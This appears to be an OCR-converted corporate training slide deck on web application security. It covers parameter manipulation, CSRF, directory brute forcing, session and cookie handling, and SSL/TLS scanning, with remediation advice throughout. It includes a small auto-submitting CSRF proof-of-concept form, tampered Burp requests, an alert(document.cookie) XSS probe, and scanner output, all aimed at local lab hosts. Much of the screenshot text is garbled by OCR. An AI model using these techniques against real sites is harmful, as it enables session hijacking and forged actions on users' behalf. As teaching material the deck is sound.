incremental ID numbers

 Remediation:
— Use random or hashed values for accessing sensitive resources
— Perform authorization checks even on seemingly ‘impossible’ requests

— Avoid exposing resource IDs and References on the client-side to prevent
manipulation
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Parameter Manipulation - Example

* 127.0.0.1:1337/parameter-manipulation.php

Login:
Username: Bob Password: esssssss [ Show Me My Text!

Home Home

#a ﬁ 127.0.01:1337/parameter-manipulaticn.php

B 12700113

parameter-manipulation.php

I am Bob's resource

Login:

Username: Password:

Home

161 httpci127.0.0.1:1337 POST /parameter-manipulation.php
-

Reguest | Response

_[ Raw T Params T Headers [ Hex ]

POST fparameter-manipulation.php HTTF/1l.1

Host: 127.0.0.1:1337

User-Agent: Mozilla/E.0 (Windows NT £.1; WOWE4d; rwv:47.0)
Accept: text/html,application/xzhtmltxnl, application/xwl q=0.59,*/*;gq=0.8
Accept-Language: en-US,en;g=0_5

Accept-Encoding: gzip, deflate

Beferer: http://l27.0.0.1:1337/parameter-manipulation. php

Cookie: SecretSessionToken=TUseThisTolAccessEBankDetails;
Connection: close

Content-Type: application/x—www-form-urlencoded
Content-Length: 37

resource_id=l&Fhow=Show+He+Hy+Text§21

Gecko/20100101 Firefox/47.0

PHPESESSID=jrmshghbripoual gfngh434ial
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Parameter Manipulation - Example

= 127.0.0.1:1337 /pararneter-manipulation.php

Login:

Username: Samantha Password: see

Home

Submit

€ 127.0.01:1337/parameter-manipulation.php

Sorry, you have no saved resources.
Login
Username: Samantha

Submit

Password: ses|

Home

S ﬁ 127.00.1:1337/parameter-manipulation.php

Show Me My Text!

Home

& 127.0.0.1:1337/parameter-manipulation.php

Sorry, you have no saved resources.

€ pF

127.0.0.1:1337/pararmeter-manipulation.php

| Show Me My Text! |

Home

Login:
Username: Password: Submit - o f - 1 L
Forward Drop Intercept is on A ctio
Raw Params Headers Hex
Home

I Burp Suite Professional v1.7.03 - Termporary Project - licensed to Accenturg

Burp Intruder Repeater Window Help
[ Target I Proxy I Spider T Scanner I Intruder T Repeater T Sequencer | De

J Intercept T HTTP history T WebSockets history T Options ]
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Parameter Manipulation - Examples

€ F

E  Burp Suite Professional v1.7.03 - Temporary Project - licensed to Accenture [3 user license]

127.001:13

parameter-manipulation.php

Home Burp Intruder Repeater Window Help

Target sy | Spider | Scanner I Intruder I Repeater T Sequencer T Decoder I Comparer I Extender T Project optio

w Reguest to hitp:#127.0.0.1:1337

Forward Drop | mterceptison | Action

Hex

) T HTTP history IWBDSDckEfs history I Options }

Raw | Params | Headers

POST /parameter-manipulation php HITP/1 1

POST /parameter-manipulation.php HITP/1.1

Host: 127.0.0.1:1327

User-Agent: Mozilla/5.0 (Windows NT &.1; WOWE4d; rv:47.0) Gecko/IZ0100101 Firefox/47.0
Aecept: text/htnl,application/xhtmltxml, application/xnl; q=0.5,%/*;q=0.8
Aecept-Language: en-US, en;g=0.5

Accept—Encoding: gzip, deflate

RBeferer: http://1l27.0.0.1:1337/parameter-nanipulation. php
Cookie: SecretfeszionToken=UseThisTolAccessBankDetails, PHPSESSID=jrmshoghbripoualgfmgb434ial
Connection: close

Content-Type: application/x-www-form—urlencoded
Content-Length: 37

resource_id=[léishow=ShowtMe+My+Text$Zl

Host: 127.0.0.1:1337
User-Agent: Mozilla/5.0 (Windows NT &.1; WOWS4; rv:47.0) Gecko/20100101 Firefox/47.0
Accept: text/html,application/xhenliznl,application/sml;q=0.9,%/*;q=0.8

Accept-Language:
Accept-Encoding:
Referer:
Cookie:

en-US, en;q=0.5

gzip, deflate

nttp://127.0.0.1:1337/paraneter -nanipulation. php
SecretfessionToken=UseThisTohecessBankDetails; PHPSESSID=3rmshghbripoualgimghdidiad
Connection: close

Content-Type: application/z-www-form-urlencodsd

Content-Length: 37

resource id=0Eshow=ShowtlMe+My+Text$Il

&

127.0.0.1:13

7/parameter-manipulation.php

[ am Bob's resource

J Raw T Params T Headers T Hex ]

[ Raw T Headers T Hex T HTHML T Render ]

FOST fparameter-manipulation.php HTTP/1.1
Host: 127.0.0.1:1337
User—-Agent: Mozilla/5.0
Gecka/20100101 Firefox/47.0
Avoept:

Accept-Language:
Avcept-Encoding:
Feferer:

en-UsS, en;qgq=0.5
gzip, deflate

Cookie:
PHPSESSID=Jrmshghbripoual gfmgh434ial
Connection: close

Content-Type:
Content-Length: 27

resource_id=ZEshow=Showtlle+Iy+TexcsZl

(Windows NT &.1; WOWG4:

text/htnl , application/xhtnl+xnl , application/xml; gq=0.5, */* =082

http: //127.0.0.1:1337 /paraneter-nanipulation. php
SecretfSessionToken=UseThisTolocessBankDetails;

application/x—www-form-urlencoded

"
- I am Mallory's resource
rw:47.00
Logm:
Username: Password: | Submit |
Home
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Parameter Manipulation - Example

L 127.0.0.1:1337/parameter-manipulation.php
Login:
Usemname: Samantha Password: ees
Home
€ F 127.0.0.1:1337/parameter-manipulation.php & 127.0.01:1337/parameter-manipulation.php
Show Me My Text!
Sorry, you have no saved resources.
i Burp Suite Professional v1.7.03 - Temporary Project - licensed to Accenture [3 user license] Logm
@ Burp Intruder Repeater Window Help US e Pﬂss\'\-‘ord:
Target Spider | Scanner I Intruder T Repeater I Segquencer T Decoder T Comparer T Extender T Project option:|
_[ i t T HTTP history IWEDSDCKET.S history I Options ]
Lﬁ‘] Request to hitp://127.0.0.1:1337 Hcme

l Forward J l Drop J 1 Intercept is on | Action

Raw [ Params | Headers | Hex

POST /parameter-manipulation.php HITP/L.1

Host: 127.0.0.1:1337

User-Agent: Mozilla/5.0 (Windows NT £.1; WOWE4; rv:47.0) Gecko/20100101 Firefox/47.0
Accept: text/html,application/xheml+xml,applicacion/xml;q=0.9,%/*;q=0.8
Accept-Language: en-US,en;g=0.5

Accept-Encoding: gzip, deflate

Referer: http://127.0.0.1:1337/parameter-nanipulation.php
Cookie: SecretSessionToken=UseThisToAccessBankDetails; PHES
Connection: close

Content-Type: application/x-wiv-form-urlencoded
Content-Length: 37

5ID=3rmshghbrSpoualgfngb434ial

resource_id=Z&show=ShowtMe+My+TextsIl

Copyright © 2016 Accenture All rights reserved.



Parameter Mani

pulation - Example

&

127.0.01:1337

parameter-manipulation.php

Login:

Username: Samantha

Password: ses|

Home

Submit

€ )P

127.001:13

parameter-manipulation.php

Show Me My Text!

Home

i Burp Suite Professional v1.7.03 - Temporary Project - licensed to Accenture [3 user license]

Burp Intruder Repeater Window Help

[Target 2 Spider T Scanner I Intruder I Repeater T Sequencer I Decoder I Comparer I Extender T Project option

_[ oot | HTTR history | WebSockets history | Options |

@J Request to hitp:/M127.0.0.1:1337

l Forward J l Drop

J' Interceptis on | Action

Raw | Params | Headers | Hex

Y.

Showr Me My Text!

127.0.01:13

rameter-manipulation.php

Home

i Burp Suite Professional v1.7.03 - Temporary Project - licensed te Accenture [3 user license]

Burp Intruder Repeater Window Help

Target > Spider | Scanner T Intruder T Repeater T Seguencer T Decoder I Comparer T Extender T Project optio

J nt t I HTTP history IWeDSuckem history T Options ]

L

Lﬁj Request to hitp:127.0.0.1:1337

Forward j l Drop j f Interceptis on |

Action

Raw | Params | Headers | Hex

T

0ST /paramster-manipulation.php HITF/L.L

show=ShowtMe+My+TextiZlifpesource_id=3

Host: 127.0.0.1:1337

User-Agent: Mozilla/5.0 (Windows NT £.1; WOWE4; rv:47.0) Gecko/20100101 Firefou/47.0
Accept: tent/html, applicacion/xhenl+xnl,applicacion/xul;q=0.9,%/+;q=0_8

Aecept-Language: en-US,en;q=0.5

Aecepr-Encoding: gzip, deflate

Referer: http://L27.0.0.1:1337/paraneter-nanipulation. php

Cookie: SecretSessionToken=UseThisToAccessBankDetails; PHPSESSID=jrmshghbrSpoualygimgh434ial
Connection: close

Content-Type: application/x—www-form-urlencoded

Content-Length: 23

POST /parameter-manipulation.php HITP/L1.1

Host: 127.0.0.1:1337

User-Agent: Mozilla/5.0 (Windows NT &.1; WOWE4; rv:47.0) GCecko/IZ01l00101 Firefox/47.0
Accept: text/html,application/xhtmltxml,application/xml;g=0.9,*/*;q=0_8
Accept-Langquage: en-US,en;q=0_&

Accept-Encoding: gzip, deflate

Referer: htop://1l27.0.0.1:1337/paraneter-manipulacion.php

Cookie: SecretfessionToken=UseThisTolcoessBankDetails; PHPEESSID=jrmshghbrSpoualgfmcgh434iaz
Connection: close

Content-Type: application/x-www-form-urlencoded

Content-Length: 23

show=Showt+Me+My+Text 21

& 127.0.0.1:1337

I am Alice's resource

Login:

Username:

Home

parameter-manipulation.php

Password:

Submit
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Cross-Site Request Forgery (CSRF)

< An attack in which an attacker tricks a user, who is authenticated with the target
application, to visit a page that submits a request to the application on behalf (and with
the privileges) of the authenticated user.

-« This type of attack can be used to add or remove data from the application or perform
administrative actions, such as changing application settings, if an administrator is
successfully targeted

« The attack can also be used to inject malicious content, such as XSS payloads, into
the application on behalf of legitimate users

* Alevel of social engineering is usually required
« Common causes:

— The application does not verify that the request comes from the application’s domain
 Remediation:

— Cross-Origin Resource Sharing (CORS) policies

— Use of unigue non-guessable secret tokens only generated on application pages to
ensure that the request originates from a legitimate application page and is deliberately
submitted. These can be implemented as cookies or hidden form fields

— Use of hard-to-guess request structures and parameter values when submitting forms
or otherwise issuing create/update/delete requests to the application
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CSRF - Example

& 127.0.01:1337/ csrf.php

Login:

Username: Bob

Password: eessesee

Submit

€ 127.00.1:1337/parameter-manipulation.php

Login:

Username: Bob Password: esseeses

Submit

Home Home
& ﬁ 127.002:1337 /csrf.php & ﬁ 127.0.0.1:1337/parameter-manipulation.php
Bob's updated resource! | Update My Text! \ Show Me My Text!
Home Home
6 127.0.0.1:1337/csrf.php & 127.0.01:1337/parameter-manipulation.php
Update successful! I am Bob's updated resource!
Login: - Login:
Username: Password: Submit Username- Password: Submit
Home Home
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CSRF - Example

* An attacker can make the page below and trick Bob into visiting it

1 <html>
2 <bodys
= <form id="1" action="htip.://127.0.0.1:1337/c=rf.php" method="POST">

- <input type="hidden" name="text" walus="I1 am Bob's CRSF-updated resource!" />
5 <input type="hidden" name="update" walus="" />

</ form>
</body>
B <script»
g9 document.forms[0] .submit () ;
10 - <Sscript>
11 —</html>

 Bob has to be logged into the application

€ P 127.0.0.1:1337/csrf.php

Update My Text!

Home
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CSRF - Example

« When Bob visits the page, the request is submitted to the application on his behalf

POST foesrf. php HTTPSL.1

Host: 127.0.0.1:1337

User-Agent: Mozilla/E5.0 (Windows NT £.1; WOWE4; rw:47.0) Gecko/IZ0100101 Firefox/47.0
Accept: text/html,application/xhtmltznl, applicaction/xml q=0.59,*/*;q=0.8
Accept-Lancuage: en-US,en;g=0_5

Accept-Encoding: gzip, deflate

Cookie: SecretfessionToken=UseThisTolAccessBankDetails; PHPEESSID=jrmshoghbripoualgimel
Connection: close

Content-Type: application/x-www-form-urlencoded

Content-Length: 50

t.extl= IT+am+tEBob$27s+CREF-updatedtresourcel 2]..upc1at:e=

€ 127.00.1:1337/csrf.php
Update successful!

Login:
Username: Password:

Home

Submit

* Note there is no ‘Referer’ header. We can now check that the update actually took place:

& 127.0.0.1:1337/parameter-manipulation.php L3 127.0.01:133
Login: _ Show Me My Text!
Username: Bob Password: sessssss Submit
Home Home

ion.ohp € 127.001:1337/parameter-manipulstion.php
I am Bob's CRSF-updated resource!

Login
Username: Password:

Home

Submit
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CSRF and XSS

« The Injected text could have been an XSS payload

* An unauthenticated attacker cannot update a user’s
saved Text normally, but they can with a CSRF attack
— Introducing an unauthenticated code injection
vector

« Stored XSS - the attack would launch every time the
user accesses their saved text

 Difficulties — the attacker needs to trick users who
are logged in to the application; the attacker needs to
know or guess the request structure
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Directory/File Brute Force

« An attacker is able to use wordlists and lists of known
default resources to find test files, installation files,
backups and other content that is not intended for access
via the application

« Tools such as DirBuster/ZAP or Nikto can be used, as
they have lists of common directory and file names, as
well as files relevant to frameworks and other application
software

e Common causes:

— Reliance on ‘security through obscurity’ — what cannot be
seen, cannot be found

— Default installation files and test files not removed from the
production server

— Backups stored on the same host as the application

— Access control misconfiguration — application users should
not be able to access non-application files on the server
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Directory/File Brute Force - Example

@ hitp:ff10222 42030

&Y o hitp:l10.122.148.72/
E abou Add to scope
B dvw
B ids | Spider this host
[ index Actively scan this host
D instr Passively scan this host
» Q login
E Ichgcm Compare site maps.
> @ iezu Expand branch
> f:'} setu Expand requested items
» [T8 vuing Collapse branch
> Lo hitpin2 Delete host

Copy URLs in this host

Copy links in this host

Save selected items

lesues

View

Show new site map window

Site map help

E Content discovery: hitp://10.122148.72/

Control | Config | Site map

Contents
Host | Method | URL |
hitp:d10.122.148.72 GET IdvwaljefdvwaPage.js | A
hitp:10.122.14872 GET findex.php
hitp:f10.122.148.72 GET /login.php
hitp:i10.122.148.72 GET Isecurity.php
GET isetup.php
Bz GET Hvulnerabilities/brute/
Find comments. GET Ivulnerabilties/brute/7us. ..
Find scripts GET fvulnerabilties/brute/?us.
Find references GET fvulnerabilities/brute/?us. ..
-
Analyze target GET a’vulnerab!l.n!esfbrutea’ us... [y
[ p——" L
Schedule task q
Simulate manual testing
_[RAWC] Parame aders | Hex
CET /dvwa/js/dvwaPage.js HITE/L 1 ]
Host: 10. 148.72 -

User-Agent: Mozilla/5.0 (Windows NT 6.1;
WOWE4; rv-47.0) Gecko/Z0100101 Firefox/47.0
Accept: */*

Accept-language: en-US,en;q=0.5
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Target

Define the start directory for the content discovery session, and whether files or directories should be targeted

Start directory: | hitp:i/10 122 14872/

Discover: @ Files and directories
O Files only
O Directories only

& Recurse subdireciories

Max depth. |18

Filenames
Configure the sources Burp should use for generating filenames to test.

@ Buitt-in short file list

@ Buitt-in short directory list

@ Buit-in long file st

@ Buitt-in long directory list

(@ Names observed in use on target site

@ Derivations based on discovered items.

File Extensions
These settings control how the discovery session adds file extensions to file stems that are being tested,

@ Testthese extensions:

asp, aspx, htm, html, jsp, php Edit

[ Test all extensions observed in use on target site, except for

class, com, doc, exe, gif, gz, jar, jpeg, jpg, mp3, mpeg, mp! Edit

(@ Testthese variant extensions on discovered files:

bac, BAC, backup, BACKUP, bak, BAK, conf, cs, csproj, g | | Edit

[ Test file stems with no extension

PL g




Directory/File Brute Force - Example

E Content discovery: http://10122.148.72/

Control | Config | Site map

]

Use these settings to menitor and control the discovery session

f |
Session is running

Requests made: 2491
Bytes transferred 970,202
Errors: 0

Tasks queued 49
Spider requests queued: 0

Responses queued for analysis: 5§

‘ Content discovery: http://10.122.148.72/

Control

Config | Site map

Path | Task | Requests |
lexternall Test observed file names with custom extensions 108
lexternall Test observed directory names.

ficons! Test observed file names with custom extensions

ficons! Test observed directory names.

1 Test short directory list 169
Iconfig/ Test short file list with custom extensions.

feonfig! Test short directory list

lexternall Test short file list with custom extensions.

lexternal/ Test short directory list

ficons! Test short file list with custom extensions

ficons! Test short directory list

Ivulnerabilties/
Ivulnerabilties/
Idvwalimages/

Test extension variants on view_help.php
Test extension variants on view_source.php
Test extension variants on RandomStorm.png
i Test extension variants on instructions.php
i Test extension variants on phpinfo.php

i Test extension variants on logout php

i Test extension variants on ids_log.php.

i Test extension variants on about.php

i Test extension variants on favicon

i Test extension variants on dvwa

i Test extension variants on hackable

i Test extension variants on index.php

i Test extension variants on login.php

i Test extension variants on security. php

i Test extension variants on setup.php

| Filter.

v http:/i10.122.148.72

0

¥l

¥

DoODDODDOOD

¥

]

about.php
config

Oy

dvwa

external

r

favicon

icons.
log php
index.php
instructions.php
login.php
logout.php
phpinfo.php
robots

security. php
setup.php
vulnerabilties

Host | Method | URL | Params | Status 4 Length | MIME type
hitp:#10.122.148.72 GET lexternal/ = 200 1241 HTML
< ¥

Request | Response

Raw | Headers | Hex | HTML Render]

Index of /fexternal

Name Last modified SizeDescription
:Parem Directory -
a}gh}gmlsf 2016-07-19 1531 -

areca]gtchaf 2016-07-19 1531 -

T
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Exercises

« Damn Vulnerable Web App
— File Inclusion

— CSRF - note that this is also a ‘password change
mechanism’ issue
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Exercises - CSRF

< EJFirefl:oc about:iconfig

Search: | strict_origin_policy

Preference Mame

security.fileuri.strict_origin_policy

Toggle
Copy

Copy Name
Copy Value
Mew

Reset

- Status Type Valug]
security.fileuri.strict_origin_policy default bocolean true
<= B Firefox | about:config

Search: | strict_ornigin_policy
Preference Name - Status Type Value
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Session Management

« Cookie Attributes

« Exposed Session Variables
e Session Fixation

* Logout functionality issues
« Session Timeout
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Cookies

« Access to a session token means session hijacking,
especially, if the token has a long lifetime.

« Secure — an option that does not allow for sensitive
cookies and session tokens to be sent over
unencrypted channels. For example, in redirection or
SSL stripping attacks.

« HttpOnly — an option that mitigates the effect of XSS
attacks by preventing JavaScript from accessing
sensitive cookies and session tokens.

« Set-Cookie: session=xxxxX; path=/; secure; httponly
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Cookies — XSS Without HTTPOnly

— =
(&) @ | 127.001:1337/xss.php ¢ || Q searcn | % & +y & © 8 = - =
b\eﬁ[document.cookje)< Submit
Home
# S { ) Y= Console HTML €SS Script DOM Net | Cookies ~ | P Search within Cookies panet |~ v BE@
l# | Cookies - Filter - Default (Accept cookies) -

meme e ooman Rt b | ssonty

= PHPSESSID jrmshghbr Spoualgfmab434ia3 127.0.0.1 358 Session
[# SecretSessionToken UseThisToAccessBankDetails 127.0.0.1 448 Session
|f-_- LY
[ €= ) (| 127.001:1337 fxss.php X | | Q, Search
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SecretSessionToken=UseThisToAccessBankDetails, PHPSESSID=jrmshghbrSpouaigfmagbd43dia3

——



Cookies — XSS With HTTPOnly

2
\t" @ | 127.001:1337 fxss.php ¢ |[Q searcn | e 3 & © O
alert{document.cookie)+< | Submit
Home
# O € ) Y= Console HTML (S5 Script DOM Net  Cooldes ~ | P Search within Coakies panel |
l# | Cookies - Filter -~ Default (Accept cookies) -
e R size path Expres | tpony |
[# PHPSESSID jrmshghbr 5poua lgfmgb434ia3 127.0.0.1 35B / Session
# SecretSessionToken UseThisToAccessBankDetails 137.0.0.1 44B 07/29/2018, 1:22:41PM HttpOnly Secure

ya

l,\(_-;j () | 127.0.0.1:1337/xss.php

Copyright © 2016 Accenture All rights reserved.

PHPSESSID=rmshghbrapoualgfmgb43dia3d
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Session Token Exposure

* In URLs when sent as part of a GET request

 URLs get logged by intermediary proxies more easily,
even if encrypted with SSL/TLS

« Man-in-the-middle or SSL Stripping attacks defeat the
protection of SSL

« Session tokens may also be exposed in hidden form
fields on the login page
« Mitigation:
— Itis best to use a framework-based cookie-less session
management mechanism
— or transmit session tokens in cookies,
— making sure the cookies are securely configured and
— the tokens are non-predictable and
— don’t contain sensitive information, such as usernames
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Session Fixation

 In this attack, an attacker-specified cookie is
submitted during a legitimate application user’s login
request, is validated and used by the application to
maintain an authenticated session

* As a result, the attacker can hijack the user’s
authenticated session, because the session token is
known

« Mitigation:
— Do not re-use unauthenticated tokens to maintain
authenticated sessions

— Always generate a new session token after successful
authentication

— Ignore tokens supplied during authentication
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Logout Functionality

« Session remains active after logout

« For example, the user gets redirected to a logout
page, but the browser’s ‘back’ button can be used to
return to the authenticated content and functionality

* Inadequate caching directives can cause a similar
Issue, but only the last page before logout occurred
will be available

« Mitigation:

— Always invalidate the session token on server side
when logout is initiated
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Logout - Example

L K 2 127.0.01:1337/login.php € > 127.0.0.1:1337/legin.php

Login: Welcome, vou are logged in as Bob |

Username: Bob Password: esesssse
i

Home

Home

L K J 127.0.01:1337/legin.php
127.0.0.1:1337/logout.php :

Welcome, vou are logged in as Bob !
You have been successfully logged out of the application.
Home

Home
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Logout - Example

—

@. 127.0.01:1337 /session-management2.php E 127.0.0.1:1337/session-management2.php

Logm: Login:

Username: Eve Password: eeessssee Username: Password:

Home

Home

% 127.0.0.1:1337/session-management2.php GE 127.0.0.1:1337/logout l,hl,

Welcome, vou are logged in as Eve ! o
You have been successfully logged out of the application.

e ——

Home

Home

6_ 127.0.0.1:1337 /session-management2.php

Login:

Usemame: Password:

Home
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Session Timeout

* The session token remains valid for extended periods of
time
« This facilitates session hijacking attacks

It may also be useful for attackers in shared computing
environments with the victim — if a user forgets to log out,
their session does not automatically expire, leaving a
wide attack window

 Look out for the ‘Expires’ option on the cookie — it should
be set to Session or a reasonably short amount of time
« Mitigation:
— Sensitive applications should expire the session in 15-20
minutes of inactivity

— Session tokens should get regenerated periodically even
during an active session to reduce the attack window for
session hijacking with stolen or leaked tokens
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Exercises

« What is the session token of Damn Vulnerable Web
App?

« What options does it have set?
« What options is it missing?
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Web Server Configuration

« SSL/TLS Configuration

 Web Server Headers

* Directory listing

* Forgotten test, backup files

« QOutdated software / known vulnerabilities
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SSL/TLS Configuration

Keeping track of new SSL/TLS flaws and updates on the most
secure recommended configuration is next to impossible

Heartbleed, POODLE, BEAST, FREAK and many more
Common ISSues:

— Weak protocol — SSLv2, SSLv3, TLSv1

— Weak cipher suites — RC4/MD5, DES-CBC3 (keylength
downgrade), CBC ciphers + SSLv3 (POODLE)

— Cipher configuration - No perfect forward secrecy (PFS)

— Protocol configuration - No secure renegotiation or compression
enabled

Man-in-the-Middle (MITM) position usually required for
exploitation

Successful exploitation is highly complex

Clients cannot always disable vulnerable ciphers — sometimes
legacy clients need to connect
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SSL Cipher Suite Enum and SSLScan

 https://labs.portcullis.co.uk/tools/ssl-cipher-suite-
enum/

 http://www.michaelboman.org/books/sslscan, output
examples at http://www.linux-
magazine.com/Issues/2014/163/Charly-s-Column-
SSLScan
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https://labs.portcullis.co.uk/tools/ssl-cipher-suite-enum/
http://www.michaelboman.org/books/sslscan
http://www.linux-magazine.com/Issues/2014/163/Charly-s-Column-SSLScan

SSL Cipher Suite Enum - Example

& 3sl-cipher-suite-enum.pl 127.0.0.1

Starting ssl-cipher-enum v0.4-beta ( https://labs.portcullis.co.uk/application/ssl-cipher—suite-enum/ ) at Tue Jul

[+] Scanning 1 hosts

Scan Info
Target: 127.0.0.1
IE: 127.0.0.1
Fort: 443

Protocols: S5SLw2.0,S55Lv3.0,TLSv1.0,TLSv1.1,TLSv1.2
Scan Rate: unlimited

Testing protocol S55Lw2.0

[+] Cipher suite supported on
[+] Cipher suite supported on

1 :443: 5S5Lw2.0 RC4_128_WITH _MD5[010080] SSL2_INSEC,NO_FFS
1
[+] Cipher suite supported on 1
1
1

:443: 55Lv2.0 RC4_128_EXPCRT40_WITH MD5[020080] S5L2_INSEC,NO_FF3,WEAK ENC
443: 55Lw2.0 RC2_128_CBC_WITH _MDS[0300&0] 35SL2_INSEC,BEAST,NO FFS

[+] Cipher suite supported
[+] Cipher suite supported . :443: SSLv2.0 DES_64_CBC_WITH MDS[060040] SSL2_INSEC,BEAST,NO_FFS, WERK ENC
[+] Cipher suite supported on 127.0.0.1:443: SSLvw2.0 DES_192_EDE3 CBC_WITH MDS[0700c0] SSL2_INSEC,BERST,NO_PFS
[+] & S5Lv2.0 cipher suites supported

o0
=]

.0.0.1:443 - Some clients could be vulnerable to BEAST attack - if HTTES service
.0.0.1:443 - Some connections might be protected with a weak (<128-bit) symmetric encryption key

Testing protococl 35Lw3.0

[+] 0 55Lv3.0 cipher suites supported

Testing protococl TLSv1.0

[+] 0 TLSv1.0 cipher suites supported

= Testing protococl TLSvl.l

[+] 0 TLSv1.1 cipher suites supported

Testing protococl TLSv1.2

[+] 0 TLSv1.2 cipher suites supported
[+] Summary of support cipher suites for 127.0.0.1:443

S5Lw2.0:
+ mC4_128_WITH MDS

3 14:48:21 2012

443: 55Lw2.0 RC2_128 CBC_EXPORT40_WITH MD5[040080] 55L2_ INSEC,BERST,NO_PF5,WERK ENC

55Lv2.0:

RC4_128_WITH_MDS
RC4_125_EXBORT40_WITH_MDS
RC2_125_CBC_WITH_MDS
RC2_125_CBC_EXPORT40_WITH MDS
DES_64_CBC_WITH MD5
DES_192_EDE3 CBC_WITH MDS

S

[+] Summary of weakness "BEAST™ for 127.0.0.1:443

55Lv2.0:

+ BC2_128_CBC_WITH MDS

+ BC2_128_CBC_EXPORT40_WITH MDS
* DES_g4_CBC WITH MDS

# DES_192_EDE3_CBC_WITH_MDS

[+] Summary of weakness "NO_PFS" for 127.0.0.1:443

55Lv2.0:

* RC4_128_WITH MDS

* RC4_128_EXFORT40_WITH_MDS
C2_128_CBC_WITH_MDS
RC2_125_CBC_EXPORT40_WITH MDS
DES_g4_CBC_WITH_MDS
DES_192_EDE3 CBC_WITH MDS

ok % %

[+] Summary of weakness "S5L2_ INSEC" for 127.0.0.1:443

55Lv2.0:

C4_128_WITH_MDS
RC4_125_EXPORT40_WITH_MDS
RC2_128 CBC_WITH MDS

C2_128_CBC_EXPORT40_WITH MDS
DES_64_CBC_WITH_MDS
DES_192_EDE3_CBC_WITH_MDS

® % %k % % %

[+] Summary of weakness "WEAE ENC™ for 127.0.0.1:443

55Lv2.0:

* RC4_ 128 EXFORT40 WITH MDS

# RC2_128_CBC_EXPORT40_WITH MDS
+ DES_&4_CEC_WITH_MDS

Scan Complete ===

[+] 3sl-cipher-enum v0.4-beta completed at Tue Jul 3 14:48:22 2012.

918

connections in 1 sees.
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SSLScan - Example

# [3slscan 10.122.148.72 Server support3 TLS Fallback SC5V
Version: 1.11.7-static
Open35L 1.0.2i-dev xx HEE Huxx TLS renegotiation:
Secure session renegotiation supported
Testing S5L serwver 10.122.148.72 on port 443
TLS Compression:
TLS Fallback SC5V: Compressicn disabled
Server supports TLS Fallback SCSV
Heartbleed:
ILS renegotiation: TLS 1.2 not wvulnerable to heartbleed
Secure session renegotiation supported ILS 1.1 not vulnerable to heartbleed
TLS 1.0 not vulnerable to heartbleed
TLS Compressicon:
Compression disabled Supported Server Cipher(s)
Preferred TLSvl.2 128 bits ECDHE-RSRA-AES125-GCM-SHA256 Curve P-254 LHE 258
Heartbleed: Accepted TLS5v1.2 256 bits ECDHE-RSR-AES256-GCM-SHA3E4 Curve P-256 DHE 258
TL5 1.2 not vulnerable to heartbleed Accepted TLSvl.2 128 bits ECDHE-RSRA-AES1285-3HA Curve P-254 LHE 258
TL5 1.1 not vulnerable to heartbleed Accepted TLSv1.2 256 bits ECDHE-RSR-RAES256-5HA Curve P-256 DHE 258
IL5 1.0 not vulnerable to heartbleed Accepted TLSvl.2 128 bits ECDHE-RSR-AES1285-3HRA25E Curve P-254 LHE 258
Accepted TLSv1.2 256 bits ECDHE-RSR-AES256-5HA3E4 Curve P-256 DHE 258
Supported Server Cipher(s): Accepted TLSvl.2 128 bits DHE-RSL-RES125-GCM-SHR256 DHE 1024 bits
Preferred TL3vw1.2 128 bits ECDHE-R3AZ-AF3128-GCM-5SHRZ256 Curve P-256 DHE 256 Reeoepted TLSv1.2 256 bita DHE-RSRA-RES256-GOM-SHR3IE4 DHE 1024 bits
Bccepted TL3wl.2 256 bits ECDHE-RSR-AES256-GCM-5HR3E4 Curve P-256 DHE 256 Lcoepted TLSv1.2 128 bits DHE-RSR-AES128-SHR DHE 1024 kits
Recepted TL3wl.2 128 bkits ECDHE-RSR-RES12E-SHRL Curve P-256 DHE 256 Accepted TLSv1.2 256 bits DHE-RSA-RES256-SHA DHE 1024 bits
Becepted TL3v1.2 256 bits ECDHE-R5R-RAESZ256-35HA Curve P-256 DHE 256 Aceoepted TLSv1.2 128 bits DHE-RSRA-AES128-SHR2SE DHE 1024 kits
Boocepted TLSvl.2 128 bits ECDHE-RSA-AES128-SHAZ56 Curwve P-256 DHE 256 Accepted TLSv1.2 256 bits DHE-RSA-RES256-SHAZ56 DHE 1024 bits
Bccepted TL3wl.2 256 bits ECDHE-RSA-AES5256-5HASE4 Curve P-256 DHE 256 Preferred TLSvl.l 128 bits ECDHE-RSA-AES128-SHR Curve E-25& DHE
Lcocepted TLSwl.2 128 bits DHE-RSR-RES125-GCM-SHR256 DHE 1024 bits Locepted TLSvl.l 256 bits ECDHE-RSR-AES256-SHR Curve P-256 DHE
Rocepted TL3wvl.2 256 bits DHE-RSR-RAES256-GCM-SHA3E4 DHE 1024 bits Accepted TLSvl.1 128 bits DHE-RSA-RES128-SHA DHE 1024 bits
Rocepted TL3v1.2 128 bits DHE-RSR-AES1Z28-SHR DHE 1024 bits Bccepted TLSvl.l 256 bits DHE-RSA-RES256-SHA DHE 1024 bits
Accepted TLSv1.2 256 bits DHE-RIA-AES256-SHA DHE 1024 bits Preferred TL3v1.0 128 bits ECDHE-RSA-AES128-5SHL Curve F-256 DHE
Rccepted TL3w1.2 128 bits DHE-R3SA-RES122-5SHR256 DHE 1024 bits Lccepted TLSvl.0 256 bits ECDHE-RSR-AFES256-SHA Curve P-256 DHE
Acocepted TLSwl.2 256 bits DHE-RSA-RES256-3HR2356 DHE 1024 bits Lccepted TL3vl.0 128 bits DHE-R3A-RES123-3HR DHE 1024 bits
Preferred TL3vl.l 128 bits ECDHE-RSA-AES1ZE-5HA Curve P-256 DHE 256 Lecepted TLSwl.0 256 bits DHE-RSA-RES256-SHL DHE 1024 bits
Bocepted TLSwl.1 256 bits ECDHE-RSA-RES256-5HL Curve P-256 DHE 256
Rccepted TLSwl.1 128 bits DHE-RSR-AES1ZE-5SHA DHE 1024 bits SST. Certificate:
Rccepted TILSwl.l 256 bits DHE-RSR-AES256-5SHA DHE 1024 bits Signature Algorithm: sha256WithRSAEncryption
Preferred TL3vl.0 128 bits ECDHE-RSL-AES12E-5HA Curve P-256 DHE 256 RSL Hey Strength: 2048
Bocepted TL3w1.0 256 bits ECDHE-RSA-RE3256-5HL Curve P-256 DHE 256
Bocepted TLSw1.0 128 bits DHE-RSR-AES128-5HA DHE 1024 bits Subject: lamp
Rccepted TLSw1.0 256 bits DHE-RSR-AES256-5HA DHE 1024 bits Altnames: DNS:lamp, DNS:localhost
Issuer: lamp
55L Certificate:
Signature Rlgorithm: shaZSeWithRSAEncryption Not valid befaore: Jul 19 15:22:52 2016 GMT
RSR Key Strength: 2048 Wot valid after: Jul 19 15:22:52 2026 GMT
1
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Web Server Headers

 Caching directives — prevent browsers and proxies from
storing sensitive/authenticated content

— Cache-control: no-cache, no-store, must-revalidate
— EXxpires: -1
